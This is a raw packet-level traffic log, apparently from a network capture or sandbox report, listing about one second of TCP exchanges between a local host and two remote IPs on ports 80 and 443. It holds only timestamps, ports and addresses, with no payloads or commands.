Nov 12, 2024 15:42:08.638739109 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.790301085 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.790335894 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.790348053 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.790360928 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.790374041 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.790374994 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.790400028 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.790435076 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939274073 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939296961 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939317942 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939332962 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939347982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939348936 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939348936 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939363003 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939369917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939388037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939409971 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939570904 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939609051 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939611912 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939620972 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939640999 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939652920 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939676046 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939687014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939697981 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.939721107 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.939739943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.940597057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.940638065 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.940649986 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.940660954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.940674067 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.940690994 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.940740108 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.940751076 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.940761089 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:08.940781116 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.940804005 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:08.991158009 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.991672039 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.991693020 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:08.992299080 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:08.992305994 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.054371119 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054395914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054423094 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.054439068 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054452896 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.054476976 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.054543018 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054554939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054568052 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054579020 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.054580927 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054594040 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.054596901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054609060 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.054610968 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054624081 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.054644108 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.054662943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.055341005 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.055388927 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.055404902 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.055417061 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.055428028 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.055444002 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.055445910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.055473089 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.055500984 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.055833101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.055844069 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.055855989 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.055869102 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.055877924 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.055906057 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.132780075 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.132833004 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.132895947 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.133105040 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.133122921 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.133132935 CET	49795	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.133137941 CET	443	49795	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.136142015 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.136168957 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.136276960 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.136454105 CET	49797	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.136461973 CET	443	49797	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.203046083 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203059912 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203079939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203093052 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203104973 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203118086 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203130007 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.203131914 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203181982 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.203419924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203463078 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.203491926 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203504086 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203531027 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.203543901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203545094 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.203556061 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203567982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203582048 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.203589916 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.203609943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.204312086 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.204355955 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.204416037 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.204427004 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.204437017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.204452038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.204454899 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.204467058 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.204469919 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.204478979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.204488039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.204516888 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.205260038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.205271006 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.205281973 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.205306053 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.205317974 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.205322981 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.205333948 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.205343962 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.205358982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.205359936 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.205383062 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.205404043 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.206147909 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.206190109 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.206234932 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.206245899 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.206257105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.206269979 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.206269979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.206284046 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.206290960 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.206296921 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.206315041 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.206327915 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.207089901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.207144022 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.207145929 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.207156897 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.207168102 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.207184076 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.207191944 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.207204103 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.207207918 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.207218885 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.207231045 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.207253933 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.207253933 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.207271099 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.207957029 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.207998037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.208058119 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.208069086 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.208081007 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.208096027 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.208097935 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.208106995 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.208117962 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.208126068 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.208136082 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.208162069 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.286259890 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286334038 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286345005 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286365986 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.286374092 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286386967 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286397934 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.286401987 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286423922 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286433935 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.286437988 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286448956 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286456108 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.286463022 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286474943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.286485910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286499977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286499977 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.286511898 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286524057 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.286525011 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286540985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.286549091 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.286575079 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.288280964 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288291931 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288311958 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288326979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288331985 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.288340092 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288357973 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.288382053 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.288383961 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288403034 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288419962 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288420916 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.288431883 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288446903 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.288450956 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.288459063 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.288475990 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.318248987 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.318303108 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.318466902 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.318514109 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.327354908 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.327970028 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.327989101 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.328470945 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.328475952 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.456547022 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.456669092 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.456720114 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.456837893 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.456849098 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.456861973 CET	49796	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.456866026 CET	443	49796	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.459918022 CET	49798	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.459930897 CET	443	49798	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.460011959 CET	49798	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.460140944 CET	49798	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:09.460151911 CET	443	49798	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:09.549014091 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549030066 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549041986 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549128056 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549137115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549148083 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549159050 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549179077 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549181938 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549194098 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549204111 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549206972 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549217939 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549231052 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549231052 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549243927 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549251080 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549272060 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549277067 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549298048 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549319029 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549352884 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549390078 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549397945 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549416065 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549432039 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549432993 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549451113 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549452066 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549463987 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549487114 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549510956 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549523115 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549535036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549540997 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549549103 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549557924 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549568892 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549571037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549588919 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549591064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549602985 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549607992 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549616098 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.549621105 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549643993 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.549653053 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.550285101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550343990 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550355911 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550393105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550405025 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550415039 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550450087 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.550450087 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550462961 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550472975 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550498962 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.550502062 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550515890 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550518036 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.550528049 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550539017 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.550542116 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.550554037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.550580025 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.551171064 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.551215887 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.551227093 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.551230907 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.551253080 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.551265955 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.551286936 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.551299095 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.551309109 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.551331043 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.551331997 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.551331997 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.551345110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.551350117 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.551367044 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.551383972 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.604027033 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.604116917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.604216099 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.604259968 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.633022070 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.633037090 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.633145094 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.634641886 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.634665012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.634681940 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.634699106 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.634721041 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:09.779865026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.779887915 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.779916048 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.779943943 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.779954910 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.779966116 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.779975891 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.779989004 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:09.779998064 CET	80	49794	185.215.113.16	192.168.2.4
